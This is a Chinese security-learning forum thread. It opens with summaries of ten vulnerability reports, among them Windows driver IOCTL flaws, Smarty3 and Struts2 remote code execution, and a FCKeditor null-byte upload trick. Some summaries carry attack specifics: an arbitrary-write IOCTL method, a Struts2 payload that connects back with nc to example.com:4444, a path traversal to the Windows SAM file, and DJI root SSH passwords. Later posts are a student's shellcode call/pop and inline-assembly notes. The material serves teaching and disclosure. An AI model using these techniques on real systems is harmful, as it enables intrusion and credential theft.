第一篇【瑞星 HookCont.sys <= 24.0.0.5 驱动本地拒绝服务漏洞】
这个漏洞说的是在瑞星 HookCont.sys <= 24.0.0.5 驱动程序派遣例程中,对IoControlCode为0x83003C07的处理中,对UserBuffer检查中,使用ProbeForWrite函数不当造成本地拒绝服务漏洞。
详细描述:从瑞星的DriverDispatch处理,可以看出其对UserBuffer虽然做了严格的MmUserProbeAddress比较检查,也做了ProbeForWrite探测,但是使用ProbeForWrite函数不当!因为处理过程中相信了用户输入的OutputBufferLength,那么只要用户输入的OutputBufferLength为0,就可以躲过ProbeForWrite检查。最终在 *(_DWORD *)UserBuffer = v7; 这句中发生了内存访问错误,导致拒绝服务。
修改建议:建议瑞星驱动中不要相信用户输入的OutputBufferLength,而使用自己需要写入的长度作为ProbeForWrite的第二个参数(即长度)。本驱动中,应该是sizeof(DWORD).


第二篇【东方微点主动防御 <= 1.2.10581.0278 Mp110013.sys 本地特权提升漏洞】
该漏洞通过IoControl Fuzz工具挖掘的。漏洞存在于东方微点mp110013.sys这个驱动中,影响东方微点主动防御软件1.2.10581.0278和以前的版本。利用该漏洞能够实现本地特权提升,进Ring0。

第三篇【超级巡警 <= v4 Build0316 ASTDriver.sys 本地特权提升漏洞】
也是一个提权漏洞,因为和上一篇是同一个白帽子挖掘的漏洞,所以工具一样,从分析中的栈回溯可以看出,问题发生在ASTDriver+0x169b所在的函数中,
这个函数有一个致命的错误,函数开头没有对firstDWORD进行任何检查,直接向firstDWORD地址所指向的DWORD赋值为0,而firstDWORD是我们可以控制的。
        至此,该漏洞已经分析完毕。漏洞利用起来也非常简单,只要将要修改的Ring0内存地址放在输入缓冲区的第一个DWORD即可。然后向设备\device\ASTDrivers发送IoControlCode为0x50000408的IoControl。这样便实现了向任意地址写0的作用。
        另外,如果进一步研究上面sub_11690函数的内部逻辑,如果不利用“*(_DWORD *)firstDWORD = 0;”这句代码的漏洞,函数中还有其他几处漏洞可以利用,最终实现向任意地址写入任意数据的效果。

第四篇【盛大麦库笔记可能导致用户敏感信息泄露】
对于公有云系列产品,用户隐私是非常关键的内容。当然,这里不可避免的,就是对于用户误操作导致的个人信息泄露问题。在盛大麦库笔记中,用户可以将自己的日志进行分享,甚至将整个日记本进行分享。而这就很容易造成不该泄露的内容泄露的问题在此案例中,用户在共享自己的学习笔记时,把自己的银行卡信息都分享了出来,别人甚至可以转存,这是开发人员误操作了敏感信息。
修改建议:建议学习gmail等email的“忘记附件功能”的思路。在笔记中如果提到了敏感单词例如“帐号”“银行卡”“密码”等关键词,在用户点击共享的时候,弹出提示警告用户。而不是直接就共享给大众了。
并且,最好屏蔽搜索引擎的搜索。

第五篇【360buy京东商城内部网络被渗透】
由于360buy的一些内部测试环境对外可以访问,导致黑客可以通过一些老旧但致命的漏洞直接攻陷测试系统,从而进入内网环境驰骋,加上内网安全架构划分并不合理,没有任何安全策略的限制,导致随意一个小的安全问题将直接导致内部最为敏感区域对攻击者开放

修改建议:隔离内外网环境

第六篇【Smarty3远程代码执行漏洞】
Smarty是PHP下广泛使用的前端模板框架。但由于Smarty3引入了新的特性,导致在某些情况下,可以利用特性组合直接远程执行任意代码。
由于Smarty3中引入了两个特性:
1、如果display,fetch等方法的模板路径参数接受到的模板文件名是以“string:”或者“eval:”开头的,smarty3就会将此后的字符串值作为模板文件内容,重新编译并执行之。
2、smarty3的模板语言中,可以利用{phpfunction()}等方式直接在smarty tag中执行php表达式。而smarty2中则不支持。
因此,利用以上两个特性相结合,如果用户可以控制模板文件名,即可执行任意php表达式。
同样的,利用smarty3的resource特性,还可以直接利用“file:”协议直接远程包含任意文件。因为底层是使用fopen函数实现的文件打开,而默认的php配置中,虽然禁止了remote_file_include,但是对于remote_file_open却是允许的。利用这一个特性,让早已消失已久的RFI经典漏洞类型重见天日了。
修改建议:去除所有使用用户输入作为模板名进行渲染的代码,使用白名单方式限制只允许载入已知的tpl文件。

第七篇【MyBlog存在任意文件上传漏洞】
MyBlog是一个J2ee的开源自建blog系统,攻击者通过他的一些组件问题,可以上传任意文件。
由于使用了早期版本的fckeditor。导致可以通过文件名截断,绕过后缀名验证,上传任意文件。
  1. filename="b.jsp(此处为null字符).jpg
复制代码
修改建议:修复fckeditor组件

第八篇【ifeng网站存在远程执行漏洞】
利用struts2框架远程执行漏洞,使用OGNL可以通过HTTP提交参数覆盖上下文相关变量的特性,改变上下文的安全设置,远程直接执行命令。
在直接访问一段构造过的接将会使服务器使用nc链接example.com的4444端口。
其中利用代码的http参数key中不能存在以下字符[^,#:=]。但是可以通过\u0000的java unicode string方式绕过。
修复建议:建议排查ifeng.com旗下服务器,对所有含有struts2框架的程序进行升级(2.2.0),或过滤参数中的特殊字符。


第九篇【迅雷网邻任意文件下载漏洞】
这个漏洞说的是可以通过迅雷网邻下载对方未共享的任意文件
通过修改协议数据,可伪造下载的文件数据如 :<file path="桌面/../../../../../../Windows/repair/sam"/>客户端输入时虽然做了验证,但是在作为服务端提供共享文件时未验证或验证不严。
修复建议:增加验证,不在共享的文件或文件夹不允许提供下载

第十篇【大疆精灵2Vision/Vision+产品多模块SSH端口配置不当】
这里漏洞说的是 大疆精灵2Vision/Vision+产品飞行器WiFi等模块开放SSH端口并使用固定root密码
接入中继器提供的开放式WiFi网络后,可连接飞行器WiFi模块,IP地址为192.168.1.1,SSH的登陆信息为root/19881209。
此外:
中继器IP:192.168.1.2, SSH的登陆信息为root/19881209
摄像头IP:192.168.1.10,SSH的登陆信息为root/123456       这些均可直接登陆,这心未免也大了吧!
修改建议:尽可能关闭高危端口,认证信息最好每台设备不同。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-2-22 23:41:36 | 显示全部楼层
2020年2月22日
老师今天说了一种shellcode自定位的方法
  1. <div>{</div><div>   call xxxx</div><div>xxxx:</div><div>    pop eax
  2. </div><div>}</div>
复制代码
先说一下自己的大致理解:因为call指令会把下一个指令压栈,所以执行完毕之后,pop eax指令的地址将存放在eax中。
但是我还不是很清楚它是如何定位shellcode的。然后去百度,找到了《恶意代码总结实战》这本书里面关于call/pop的讲解,总结如下:

当一个call指令被执行时,处理器将call后面的指令的地址压到栈上,然后转到被请求的位置进行执行。这个函数执行完后,会执行一个ret指令,将返回地址弹出到栈的顶部,并将它载入指令指针寄存器中。这样做的结果是执行刚好返回到call后面的指令。
shellcode可以通过在一个call指令后面立刻执行pop指令滥用这种通常约定,这会将紧跟call后面的地址载入指定寄存器中。

我借用之前messagebox弹框的代码稍作改造,就可以比较清楚的明白这个shellcode自定位的概念
那一句 mov eax,eax 并没有什么实际意义,只是为了更清楚的表现call next的下一句是什么




从这张图上清晰的可以看见把call next 下一句指令的地址赋值给了eax寄存器,那么我们完全可以把call next 下面的指令换成shellcode ,然后之后再通过call eax来实现shellcode
示例代码:
  1. #include "stdafx.h"
  2. #include "stdio.h"
  3. #include "windows.h"
  4. int main(int argc, char* argv[])
  5. {
  6.     char *str="test";
  7.         printf("begin\n");
  8.     HINSTANCE libHandle;
  9.         char *dll="user32.dll";
  10.     libHandle=LoadLibrary(dll);

  11. _asm{
  12.          sub esp,20h
  13.                   xor edx,edx
  14.                  call next   
  15.                  push edx
  16.                  push str
  17.                  push str
  18.                  push edx
  19.                  mov ebx,0x77d507ea
  20.                  call ebx
  21.                  mov  esp,20   

  22. next: pop  eax
  23.                   call eax      
  24.                         
  25.         }
  26.    return 0;
  27. }
复制代码

运行成功!

写到这里,我突然想到老师之前说的蠕虫,就是不断地执行shellcode,那我是不是可以写个循环进去,然后通过call eax,来实现多次执行shellcode,好的,那就来试试!!!
费了大半天力气也没写出来,我写的是下面的代码,可是不对,他还是只执行了一遍
  1. #include "stdafx.h"
  2. #include "stdio.h"
  3. #include "windows.h"
  4. int main(int argc, char* argv[])
  5. {
  6.     char *str="test";
  7.         printf("begin\n");
  8.     HINSTANCE libHandle;
  9.         char *dll="user32.dll";
  10.     libHandle=LoadLibrary(dll);

  11. _asm{
  12.               sub esp,20h
  13.      xor ecx,ecx
  14.               xor edx,edx
  15. loop1:
  16.                   call next
  17.                   push edx
  18.                   push str
  19.                   push str
  20.                   push edx
  21.          mov ebx,0x77d507ea
  22.                  call ebx
  23.                  mov  esp,20
  24. next:
  25.                 pop  eax
  26.                call eax
  27.                inc ecx
  28.                cmp ecx,3
  29.            jl  loop1
  30.         }
  31.    return 0;
  32. }
复制代码
明天在来继续弄这个!





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

24

主题

62

帖子

283

积分

中级会员

Rank: 3Rank: 3

积分
283
发表于 2020-2-23 12:20:03 | 显示全部楼层
gclome 发表于 2020-2-22 23:41
2020年2月22日
老师今天说了一种shellcode自定位的方法
先说一下自己的大致理解:因为call指令会把下一个 ...

实现不断自我复制占尽内存才是蠕虫的内涵:D
不断执行..或许可以通过卡死CPU攻击他
回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-2-23 22:54:26 | 显示全部楼层
      昨天遗留的蠕虫的问题,今天做的时候发现昨天自己做的方式有问题,我应该先把执行的shellcode提取出来,然后再在他的前面进行循环,今天看见有位同学写的代码,我豁然开朗,我就去尝试用messagebox弹框,可它只弹一个框出来,然后通过反汇编调试,发现他执行完第一遍,就不再往下执行了,下方调试框会显示说线程已存在。但是,如果我是输出一个数的话,它就会输出几次,我觉得输出多少次取决于自己内存的大小,我把这部分的笔记写在了csdn的博客里。

汇编之控制语句
在C语言中,会有if-then-else和switch-case语句来构建判断流程,在汇编中表现为cmp指令后面跟着各类的跳转,如:jz,jle等等。
一、汇编之if-then-else语句
将if-then-else编译成汇编之后,整数用cmp指令进行比较,浮点数用fcom,fcomp等指令进行比较。
首先是下面这个if语句:
  1. #include<stdio.h>
  2. void main()
  3. {
  4.         int a,b=5,c;
  5.         scanf("%d",&a);
  6.         if(a==0)
  7.                 a=8;
  8.         c=a+b;
  9.         printf("a+b=%d\n",c);

  10. }
复制代码
显然,如果我们输入一个数赋值给a,然后判断,如果这个数是0,就把8赋值给a,然后a,b相加,如果a非零,就直接a,b相加。

之前觉得scanf语句也可以进行汇编,但是一直没有尝试,今天看见书上对scanf语句都汇编了,我就更坚信了这一点,于是我就打算在这里对scanf进行汇编
这个汇编代码试了好久,可以弹框,让我输入一个数,但是这个数我并不能判断他去了那里,输入的这个数好像并没有进栈,切到反汇编的时候,每次执行完call scanf, 迟迟没有解决,下面是我的代码,如果哪位大佬有办法可以在下方留言。
  1. #include<stdio.h>
  2. void main()
  3. {   
  4.         //int a;
  5.     char *str1="%d";
  6.         char *str2="a+b=%d\n";
  7.      //scanf("%d,&a");
  8.      _asm{
  9.                 sub esp,4h
  10.                     lea  eax,dword ptr [esp]
  11.                      push eax
  12.                      push str2
  13.                     call scanf
  14.                     mov eax,dword ptr[esp+8]
  15.                    add esp,8h
  16.                     cmp eax,0
  17.                     jne ee
  18.              mov eax,8h
  19. ee:
  20.      add eax,5h
  21.                      push eax
  22.                     push str2
  23.                     call printf
  24.                     add esp,0ch
  25.          }
  26.        
  27. }
复制代码
今天的任务是实现if语句的汇编,所以写个不用scanf语句的例子,我直接给a赋值并且存到了eax寄存器
  1. #include<stdio.h>
  2. void main()
  3. {   
  4.         int a=2;
  5.         char *str2="a+b=%d\n";
  6.      _asm{
  7.                mov eax,2
  8.                        cmp eax,0            
  9.                        jne ee                  若不相等,则跳到ee处
  10.                mov eax,8h
  11. ee:
  12.       add eax,5h
  13.                       push eax
  14.                       push str2
  15.               call printf
  16.                       add esp,8h
  17.          }
  18. }
复制代码
总结:if语句和汇编通常采用如下的汇编形式:
  1. <div align="left">cmp a,b</div><div align="left">jz(jnz)  xxxx</div>
复制代码
1.cmp 指令不会修改操作数,两个操作数会影响几个标志:零标志,进位标志,符号标志,溢出标志。因为可以影响这些标志,所以可以用test或or之类的指令来替换cmp指令。如上面例子中的“cmp eax, 0”可以用“test eax,eax”替换。如果eax的值是0,则与运算就是0,则ZF=1,否则ZF=0.(ZF指的是零标志位)
小知识点: test eax,eax  基本上和 And eax,eax 是一样的,不同的是test 不改变eax的结果,只是改变FLAG寄存器的状态

2.接下来是jcc跳转指令,由于涉及的比较多,我就传一张图上来,方便日后查找:


在尝试一个例子主要还是去练习了这个跳转,所以我就给寄存器直接赋值了
  1. #include<stdio.h>
  2. void main()
  3. {
  4.         int x=1,y=-1,a=-1;
  5.         if(a!=0)
  6.                     if(x>0) y=1;
  7.              else y=0;
  8.         printf("y=%d\n",y);

  9. }
复制代码
这个相当于两次判断,不过掌握了套路,几次都不怕,下面是汇编:
  1. #include<stdio.h>
  2. void main()
  3. {   
  4.         char *str2="y=%d\n";
  5.      _asm{
  6.                           mov eax,1
  7.                                  mov ecx,-1
  8.                          mov ebx,3
  9.                                  cmp eax,0
  10.                                  je ee
  11.                          cmp ebx,0
  12.                                 jle ec
  13.                  mov ecx,1
  14. ec:        
  15.                          jmp ee
  16.                          mov ecx,0
  17. ee:     
  18.                                 push ecx
  19.                                   push str2
  20.                                 call printf
  21.                                add esp,8h
  22.          }
  23.        
  24. }
复制代码





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2020-5-27 04:43 , Processed in 0.022405 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表